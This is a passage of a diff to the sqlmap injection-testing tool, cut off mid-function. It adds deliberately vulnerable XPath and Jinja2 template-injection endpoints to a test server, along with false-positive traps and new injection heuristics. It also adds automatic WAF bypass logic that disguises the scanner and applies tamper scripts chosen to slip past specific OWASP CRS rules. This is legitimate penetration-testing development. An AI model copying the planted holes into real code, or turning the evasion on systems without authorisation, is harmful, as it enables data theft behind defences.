"/directory/department/user[contains(username,'%s') or contains(realname,'%s')]" % (q, q) + elements = root.xpath(xpath_expr) + entries = [_xpath_element_to_dict(el) for el in elements] + except Exception as ex: + error = "%s: %s" % (type(ex).__name__, str(ex)) + + output = json.dumps({"entries": entries, "count": len(entries), "error": error}, default=str) + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/xpath/login": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + username = self.params.get("username", "") + password = self.params.get("password", "") + error = None + authenticated = False + + if username and password: + try: + from lxml import etree + root = etree.fromstring(XPATH_XML.encode("utf-8")) + # VULNERABLE: unsanitized interpolation into XPath login expression + xpath_expr = "/directory/department/user[username='%s' and password='%s']" % (username, password) + results = root.xpath(xpath_expr) + if results: + authenticated = True + except Exception as ex: + error = "%s: %s" % (type(ex).__name__, str(ex)) + + output = json.dumps({"authenticated": authenticated, "error": error}, default=str) + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/ssti/search": + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + q = self.params.get("q", "") + output = "" + + if q: + try: + from jinja2 import Template + # VULNERABLE: unsanitized user input passed to Jinja2 template engine + template = Template("Hello " + q) + output += template.render() + except Exception as ex: + # Leak template engine error for error-based detection + output += "%s: %s" % (type(ex).__name__, str(ex)) + else: + output += "Hello" + + output += "" + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/fp": + # False-positive battery traps (exercised on demand by '--fp-test'). Every trap is + # deliberately NON-injectable but baits a specific FP defense; sqlmap must report "not + # injectable" for all of them (each is paired, in FP_TESTS, with a real injectable twin). + trap = self.params.get("trap", "reflect") + idv = self.params.get("id", "1") + + def _rnd(n=8): + return "".join(random.choice("0123456789abcdef") for _ in range(n)) + + if trap == "intcast": + # parameterized int lookup: id=1 -> row, non-int (e.g. "1 AND 1=1") -> empty. A boolean + # payload yields a differential yet it is NOT SQLi -> the false-positive check must reject it. + try: + hit = int(idv) in (1, 2, 3) + except ValueError: + hit = False + output = "SQL results:%s
" % ("%slutherblisset" % idv if hit else "") + elif trap == "structrand": + # heavy dynamic TEXT (defeats dynamic-content removal) + STABLE structure; id is not + # reflected into the structure -> stresses the structure-aware comparison oracle. + rows = "".join("%s%s" % (_rnd(), _rnd()) for _ in range(3)) + output = ("Report
%s
" + "%s
" + "
%s
" % (_rnd(), _rnd(), rows, _rnd())) + elif trap == "acceptall": + # 200 + identical content for EVERYTHING incl. garbage -> the reads-everything-true channel. + output = "OK welcome to the portal" + elif trap == "reflect": + # echoes the parameter verbatim (reflection) with no SQL sink. + output = "you searched for: %s" % idv + elif trap == "errors": + # DB-error-looking text for any non-baseline input -> baits error-based detection. + output = "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result" if idv != "1" else "SQL results:
1luther
" + elif trap == "lengthrand": + # response length varies at random (not with the payload) -> baits length-based heuristics. + output = "ok %s" % _rnd(random.choice([4, 40, 400])) + elif trap == "slowrand": + # random latency, uncorrelated with the payload -> baits time-based detection. + time.sleep(random.choice([0, 0, 0, 1])) + output = "ok %s" % _rnd() + else: + output = "?" + + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == '/': if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) @@ -139,7 +1241,8 @@ def do_REQUEST(self): self.end_headers() self.wfile.write(b"vulnserver

GET:

link

POST:

ID:
") else: - code, output = OK, "" + code, output = OK, "" + contentType = "text/html" try: if self.params.get("echo", ""): @@ -158,33 +1261,48 @@ def do_REQUEST(self): _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"]) results = _cursor.fetchall() - output += "SQL results:
\n" - - if self.params.get("code", ""): - if not results: + if self.params.get("json", ""): + # JSON response mode: serialize the SAME query results as application/json + # (exercises the structure-aware comparison oracle end to end). HTML branches + # below are untouched, so existing tests are unaffected. + if self.params.get("code", "") and not results: code = INTERNAL_SERVER_ERROR + else: + contentType = "application/json" + output = json.dumps({"results": [list(row) for row in results], "count": len(results)}) else: - if results: - output += "\n" + output += "SQL results:
\n" - for row in results: - output += "" - for value in row: - output += "" % value - output += "\n" - - output += "
%s
\n" + if self.params.get("code", ""): + if not results: + code = INTERNAL_SERVER_ERROR else: - output += "no results found" + if results: + output += "\n" + + for row in results: + output += "" + for value in row: + output += "" % value + output += "\n" + + output += "
%s
\n" + else: + output += "no results found" + + if not results: + output = "No results" + output + else: + output = "Results" + output - output += "" + output += "" except Exception as ex: code = INTERNAL_SERVER_ERROR output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex) self.send_response(code) - self.send_header("Content-type", "text/html") + self.send_header("Content-type", contentType) self.send_header("Connection", "close") if self.raw_requestline.startswith(b"HEAD"): diff --git a/lib/__init__.py b/lib/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/action.py b/lib/controller/action.py index 1aeb0bcc409..cb38e91ce4a 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -1,18 +1,21 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.controller.handler import setHandler from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import CONTENT_TYPE +from lib.core.enums import DBMS +from lib.core.enums import HASHDB_KEYS from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.settings import SUPPORTED_DBMS @@ -28,10 +31,52 @@ def action(): if possible """ + # HTTP/2 timeless timing ('--timeless'): detection is done and the back-end DBMS is known, so engage + # the oracle for this target's extraction (swaps the time-based vector for a tuned heavy one, so all + # subsequent extraction reads bits by response order instead of delay). Guarded + calibrated - a no-op + # unless '--timeless' is set and the target is usable; disengage() first clears any prior target's. + from lib.request import timeless + timeless.disengage() + if not timeless.autoEngage(): # engages if '--timeless' was given and the target is usable + timeless.hintTimeless() # otherwise nudge the user toward '--timeless' if the target fits + # First of all we have to identify the back-end database management # system to be able to go ahead with the injection + # automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error + # page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads + # and flood the run with 403s) and assume that DBMS, so the user gets a usable result + if kb.wafBypass and not conf.forceDbms: + fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else []) + fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None) + if fallback: + logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback) + conf.forceDbms = fallback + setHandler() + if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF + hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms()) + + # automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a + # libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS: + # * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) - + # otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables"; + # * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the + # ORD/MID function names scored by 942151/942190); + # * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto + # 'mysql.innodb_table_stats', which is not on those blocklists. + # (blindbinary also reshapes PostgreSQL, but full extraction through the CRS proxy garbles there - an + # open issue - so PG is not auto-applied; it stays available as manual '--tamper=blindbinary'.) + if kb.wafBypass and Backend.getIdentifiedDbms() == DBMS.MYSQL: + kb.data.has_information_schema = True + if not conf.tamper: + from lib.utils.wafbypass import loadTamper + for _name in ("blindbinary", "infoschema2innodb"): + function = loadTamper(_name) + if function is not None and function not in (kb.tamperFunctions or []): + kb.tamperFunctions = (kb.tamperFunctions or []) + [function] + logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS") + if not Backend.getDbms() or not conf.dbmsHandler: htmlParsed = Format.getErrorParsedDBMSes() @@ -78,6 +123,9 @@ def action(): if conf.getStatements: conf.dumper.statements(conf.dbmsHandler.getStatements()) + if conf.getProcs: + conf.dumper.procedures(conf.dbmsHandler.getProcedures()) + if conf.getPasswordHashes: try: conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index b0d5fd6b51b..d190d47820f 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -16,6 +16,7 @@ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import extractRegexResult +from lib.core.common import extractStructuralTokens from lib.core.common import extractTextTagContent from lib.core.common import filterNone from lib.core.common import findDynamicContent @@ -56,6 +57,7 @@ from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST +from lib.core.enums import POST_HINT from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import NOTE @@ -73,20 +75,30 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH from lib.core.settings import CHECK_INTERNET_ADDRESS -from lib.core.settings import CHECK_INTERNET_VALUE +from lib.core.settings import CHECK_INTERNET_CODE from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX from lib.core.settings import FI_ERROR_REGEX from lib.core.settings import FORMAT_EXCEPTION_STRINGS +from lib.core.settings import GRAPHQL_ERROR_REGEX from lib.core.settings import HEURISTIC_CHECK_ALPHABET +from lib.core.settings import HQL_ERROR_REGEX from lib.core.settings import INFERENCE_EQUALS_CHAR +from lib.core.settings import LDAP_ERROR_REGEX +from lib.core.settings import SSTI_ERROR_REGEX +from lib.core.settings import XPATH_ERROR_REGEX +from lib.core.settings import XXE_ERROR_REGEX from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IPS_WAF_CHECK_RATIO from lib.core.settings import IPS_WAF_CHECK_TIMEOUT from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import MAX_STABILITY_DELAY from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH +from lib.core.settings import NOSQL_ERROR_REGEX +from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_HIGH +from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_LOW +from lib.core.settings import NULL_CONNECTION_SKIP_READ_MIN_LENGTH from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.settings import SLEEP_TIME_MARKER @@ -94,12 +106,14 @@ from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import URI_HTTP_HEADER +from lib.core.settings import WAF_BLOCK_HTTP_CODES from lib.core.threads import getCurrentThreadData from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.comparison import comparison from lib.request.inject import checkBooleanExpression from lib.request.templates import getPageTemplate +from lib.utils.dialect import dialectCheckDbms from lib.techniques.union.test import unionTest from lib.techniques.union.use import configUnion from thirdparty import six @@ -149,6 +163,13 @@ def checkSqlInjection(place, parameter, value): if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests: kb.heuristicDbms = heuristicCheckDbms(injection) + # keyword-free fallback: heuristicCheckDbms() above uses SELECT/quote payloads + # and is skipped when the WAF/IPS is dropping requests; the operator-dialect + # probes carry no SELECT/quote/schema name, so they can still narrow the DBMS in + # that case (or when it was inconclusive), using the now-calibrated boolean oracle + if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None: + kb.heuristicDbms = dialectCheckDbms(injection) + # If the DBMS has already been fingerprinted (via DBMS-specific # error message, simple heuristic check or via DBMS-specific # payload), ask the user to limit the tests to the fingerprinted @@ -217,6 +238,7 @@ def checkSqlInjection(place, parameter, value): if _ > 1: __ = 2 * (_ - 1) + 1 if _ == lower else 2 * _ unionExtended = True + test.request._columns = test.request.columns test.request.columns = re.sub(r"\b%d\b" % _, str(__), test.request.columns) title = re.sub(r"\b%d\b" % _, str(__), title) test.title = re.sub(r"\b%d\b" % _, str(__), test.title) @@ -276,7 +298,7 @@ def checkSqlInjection(place, parameter, value): logger.debug(debugMsg) continue - elif kb.reduceTests == False: + elif kb.reduceTests is False: pass # Skip DBMS-specific test if it does not match the @@ -520,7 +542,7 @@ def genCmpPayload(): if ratio == 1.0: continue - except (MemoryError, OverflowError): + except: pass # Perform the test's True request @@ -528,7 +550,7 @@ def genCmpPayload(): truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode trueRawResponse = "%s%s" % (trueHeaders, truePage) - if trueResult and not(truePage == falsePage and not any((kb.nullConnection, conf.code))): + if trueResult and not (truePage == falsePage and not any((kb.nullConnection, conf.code))): # Perform the test's False request falseResult = Request.queryPage(genCmpPayload(), place, raise404=False) @@ -553,7 +575,7 @@ def genCmpPayload(): injectable = True - elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): + elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)): originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n")) trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n")) falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n")) @@ -579,8 +601,20 @@ def genCmpPayload(): break if injectable: - if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): - if all((falseCode, trueCode)) and falseCode != trueCode: + # WAF/IPS block-artifact guard: a TRUE condition (the always-true payload that + # mimics a legitimate request) coming back with a blocked HTTP status (e.g. 403) + # while the FALSE condition passes (2xx) is the WAF answering, not the database. + # A real boolean injection's TRUE condition reproduces the normal page, so this + # status-code asymmetry is the classic false positive - refuse it here. + if not kb.negativeLogic and trueCode in WAF_BLOCK_HTTP_CODES and (falseCode or 0) < 400 and (kb.heuristicCode or 200) < 400: + warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %d status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode) + warnMsg += "which is characteristic of a WAF/IPS block rather than a SQL injection; skipping as a likely false positive" + logger.warning(warnMsg) + injectable = False + continue + + if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)): + if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode: suggestion = conf.code = trueCode infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code) @@ -819,6 +853,9 @@ def genCmpPayload(): choice = readInput(msg, default=str(conf.verbose), checkBatch=False) conf.verbose = int(choice) setVerbosity() + if hasattr(test.request, "columns") and hasattr(test.request, "_columns"): + test.request.columns = test.request._columns + delattr(test.request, "_columns") tests.insert(0, test) elif choice == 'N': return None @@ -1046,9 +1083,10 @@ def heuristicCheckSqlInjection(place, parameter): payload = "%s%s%s" % (prefix, randStr, suffix) payload = agent.payload(place, parameter, newValue=payload) - page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) + page, _, code = Request.queryPage(payload, place, content=True, raise404=False) kb.heuristicPage = page + kb.heuristicCode = code kb.heuristicMode = False parseFilePaths(page) @@ -1083,13 +1121,15 @@ def _(page): if casting: errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type") - platform = conf.url.split('.')[-1].lower() + platform = (extractRegexResult(r"\.(?P\w+)(?:\?|\Z)", conf.url) or conf.url.split('.')[-1]).lower() if platform == WEB_PLATFORM.ASP: errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter) elif platform == WEB_PLATFORM.ASPX: errMsg += "int.TryParse(Request.QueryString[\"%s\"], out %s)" % (parameter, parameter) elif platform == WEB_PLATFORM.JSP: errMsg += "%s=Integer.parseInt(request.getParameter(\"%s\"))" % (parameter, parameter) + elif platform == WEB_PLATFORM.CFM: + errMsg += "%s=Val(url.%s)" % (parameter, parameter) else: errMsg += "$%s=intval($_REQUEST[\"%s\"])" % (parameter, parameter) @@ -1129,15 +1169,67 @@ def _(page): if conf.beep: beep() - for match in re.finditer(FI_ERROR_REGEX, page or ""): - if randStr1.lower() in match.group(0).lower(): - infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) - logger.info(infoMsg) + try: + for match in re.finditer(FI_ERROR_REGEX, page or ""): + if randStr1.lower() in match.group(0).lower(): + infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + + break + except (SystemError, RuntimeError) as ex: + logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex)) + + if not conf.nosql and re.search(NOSQL_ERROR_REGEX, page or ""): + infoMsg = "heuristic (NoSQL) test shows that %sparameter '%s' might be vulnerable to NoSQL injection attacks (rerun with switch '--nosql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + + if not conf.graphql and re.search(GRAPHQL_ERROR_REGEX, page or ""): + infoMsg = "heuristic (GraphQL) test shows that %sparameter '%s' appears to be a GraphQL endpoint (rerun with switch '--graphql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + + if not conf.ldap and re.search(LDAP_ERROR_REGEX, page or ""): + infoMsg = "heuristic (LDAP) test shows that %sparameter '%s' might be vulnerable to LDAP injection (rerun with switch '--ldap')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + + if not conf.xpath and re.search(XPATH_ERROR_REGEX, page or ""): + infoMsg = "heuristic (XPath) test shows that %sparameter '%s' might be vulnerable to XPath injection (rerun with switch '--xpath')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() - if conf.beep: - beep() + if not conf.ssti and re.search(SSTI_ERROR_REGEX, page or ""): + infoMsg = "heuristic (SSTI) test shows that %sparameter '%s' might be vulnerable to server-side template injection (rerun with switch '--ssti')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + + if not conf.hql and re.search(HQL_ERROR_REGEX, page or ""): + infoMsg = "heuristic (HQL) test shows that %sparameter '%s' might be vulnerable to HQL/JPQL (Hibernate ORM) injection (rerun with switch '--hql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() - break + if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""): + infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')" + logger.info(infoMsg) + + if conf.beep: + beep() kb.disableHtmlDecoding = False kb.heuristicMode = False @@ -1199,7 +1291,9 @@ def checkDynamicContent(firstPage, secondPage): seqMatcher.set_seq1(firstPage) seqMatcher.set_seq2(secondPage) ratio = seqMatcher.quick_ratio() - except MemoryError: + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can fail on pathological input or, rarely, with interpreter-level + # errors under heavy threading; degrade to "undetermined" instead of crashing ratio = None if ratio is None: @@ -1214,6 +1308,27 @@ def checkDynamicContent(firstPage, secondPage): count += 1 if count > conf.retries: + # Last resort before the (lossy) '--text-only' fallback: if the page is byte-unstable + # but STRUCTURALLY stable - an identical, non-empty tag/class/id skeleton across + # requests - base the comparison on that value-free structure instead. Dynamic text + # (e.g. per-render result rows) then no longer masks an injection whose signal is + # structural (the HTML counterpart of the structure-aware JSON comparison). Content + # with no usable structure (empty skeleton, e.g. random/binary bodies) falls through + # to '--text-only' as before. + skeleton = extractStructuralTokens(firstPage) + if skeleton and skeleton == extractStructuralTokens(secondPage): + kb.pageStructurallyStable = True + + if kb.nullConnection: + debugMsg = "turning off NULL connection support because of structural page comparison" + logger.debug(debugMsg) + kb.nullConnection = None + + infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap " + infoMsg += "will base the page comparison on the page structure" + logger.info(infoMsg) + return + warnMsg = "target URL content appears to be too dynamic. " warnMsg += "Switching to '--text-only' " logger.warning(warnMsg) @@ -1228,7 +1343,7 @@ def checkDynamicContent(firstPage, secondPage): kb.heavilyDynamic = True secondPage, _, _ = Request.queryPage(content=True) - findDynamicContent(firstPage, secondPage) + findDynamicContent(firstPage, secondPage, merge=True) def checkStability(): """ @@ -1341,6 +1456,10 @@ def checkWaf(): warnMsg = "previous heuristics detected that the target " warnMsg += "is protected by some kind of WAF/IPS" logger.critical(warnMsg) + if hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_BYPASS, True): # re-apply a previously accepted automatic bypass + from lib.utils.wafbypass import neutralizeFingerprint + kb.wafBypass = True + neutralizeFingerprint() return _ if not kb.originalPage: @@ -1367,6 +1486,7 @@ def checkWaf(): kb.choices.redirect = REDIRECTION.YES kb.resendPostOnRedirect = False conf.timeout = IPS_WAF_CHECK_TIMEOUT + kb.checkWafMode = True try: retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO @@ -1374,6 +1494,7 @@ def checkWaf(): retVal = True finally: kb.matchRatio = None + kb.checkWafMode = False conf.timeout = popValue() kb.resendPostOnRedirect = popValue() @@ -1381,6 +1502,7 @@ def checkWaf(): hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True) + if retVal: if not kb.identifiedWafs: warnMsg = "heuristics detected that the target " @@ -1394,9 +1516,19 @@ def checkWaf(): if not choice: raise SqlmapUserQuitException else: - if not conf.tamper: - warnMsg = "please consider usage of tamper scripts (option '--tamper')" - singleTimeWarnMessage(warnMsg) + if not conf.tamper and not kb.tamperFunctions: + message = "do you want sqlmap to try to automatically bypass the WAF/IPS during " + message += "the run (e.g. by using a non-scanner User-Agent and tamper script(s))? [Y/n] " + kb.wafBypass = readInput(message, default='Y', boolean=True) + hashDBWrite(HASHDB_KEYS.CHECK_WAF_BYPASS, kb.wafBypass, True) + if kb.wafBypass: + # apply it up-front so the whole run (detection included) avoids the scanner + # fingerprint, instead of getting blocked first and only then retrying + from lib.utils.wafbypass import neutralizeFingerprint + neutralizeFingerprint() + logger.info("using a random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS") + else: + singleTimeWarnMessage("please consider manual usage of tamper scripts (option '--tamper')") return retVal @@ -1424,30 +1556,79 @@ def checkNullConnection(): pushValue(kb.pageCompress) kb.pageCompress = False + # A method is accepted only if the length it reports tracks the real GET response. The + # original page length (len(kb.originalPage)) is the reference; a method whose length is + # grossly off (e.g. HEAD returning 'Content-Length: 0', HEAD served from a different code + # path, or sneaked-in compression) would otherwise make every page look identical and + # silently break detection. The band is coarse on purpose (byte-vs-character size and + # moderate page dynamism are expected); a false reject just forgoes the optimization + def _plausibleLength(length): + reference = len(kb.originalPage or "") + if not reference: + return True + return NULL_CONNECTION_LENGTH_TOLERANCE_LOW * reference <= length <= NULL_CONNECTION_LENGTH_TOLERANCE_HIGH * reference + try: page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False) if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): - kb.nullConnection = NULLCONNECTION.HEAD + try: + length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) + except ValueError: + length = None - infoMsg = "NULL connection is supported with HEAD method ('Content-Length')" - logger.info(infoMsg) - else: + if length is not None and _plausibleLength(length): + kb.nullConnection = NULLCONNECTION.HEAD + + infoMsg = "NULL connection is supported with HEAD method ('Content-Length')" + logger.info(infoMsg) + elif length is not None: + debugMsg = "HEAD method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or "")) + logger.debug(debugMsg) + + if kb.nullConnection is None: page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"}) if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}): - kb.nullConnection = NULLCONNECTION.RANGE + try: + length = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) + except ValueError: + length = None - infoMsg = "NULL connection is supported with GET method ('Range')" - logger.info(infoMsg) - else: - _, headers, _ = Request.getPage(skipRead=True) + if length is not None and _plausibleLength(length): + kb.nullConnection = NULLCONNECTION.RANGE - if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): + infoMsg = "NULL connection is supported with GET method ('Range')" + logger.info(infoMsg) + elif length is not None: + debugMsg = "'Range' method reports an implausible total length (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or "")) + logger.debug(debugMsg) + + if kb.nullConnection is None: + _, headers, _ = Request.getPage(skipRead=True) + + if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): + try: + length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) + except ValueError: + length = len(kb.originalPage or "") + + if not _plausibleLength(length): + debugMsg = "'skip-read' method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or "")) + logger.debug(debugMsg) + # Unlike HEAD/Range, 'skip-read' leaves the body unread and must close the + # connection (an unread body cannot be reused), paying a fresh TCP/TLS handshake + # per request. That only outweighs the avoided body transfer for large responses; + # for small ones it is a net slowdown, so it is gated by the response size here + elif length >= NULL_CONNECTION_SKIP_READ_MIN_LENGTH: kb.nullConnection = NULLCONNECTION.SKIP_READ infoMsg = "NULL connection is supported with 'skip-read' method" logger.info(infoMsg) + else: + debugMsg = "'skip-read' NULL connection method is available but skipped because the " + debugMsg += "response (%d B) is too small for it to outweigh the per-request reconnect cost" % length + logger.debug(debugMsg) except SqlmapConnectionException: pass @@ -1581,8 +1762,7 @@ def checkConnection(suppressOutput=False): return True def checkInternet(): - content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0] - return CHECK_INTERNET_VALUE in (content or "") + return Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[2] == CHECK_INTERNET_CODE def setVerbosity(): # Cross-referenced function raise NotImplementedError diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 2ea81d9c242..48f137e9a2b 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -41,6 +41,7 @@ from lib.core.common import removePostHintPrefix from lib.core.common import safeCSValue from lib.core.common import showHttpErrorCodes +from lib.core.common import singleTimeWarnMessage from lib.core.common import urldecode from lib.core.common import urlencode from lib.core.compat import xrange @@ -69,12 +70,14 @@ from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import EMPTY_FORM_FIELDS_REGEX -from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX +from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX +from lib.core.settings import HASHDB_STALE_DAYS from lib.core.settings import HOST_ALIASES from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import LOW_TEXT_PERCENT from lib.core.settings import REFERER_ALIASES from lib.core.settings import USER_AGENT_ALIASES +from lib.core.settings import WAF_BYPASS_MAX_TRIALS from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv from lib.utils.hash import crackHashFile @@ -167,6 +170,57 @@ def _formatInjection(inj): return data +def _autoWafBypass(place, parameter, value): + """ + Automatic WAF/IPS bypass (offered interactively once a WAF/IPS is detected, cached in + kb.wafBypass). The request 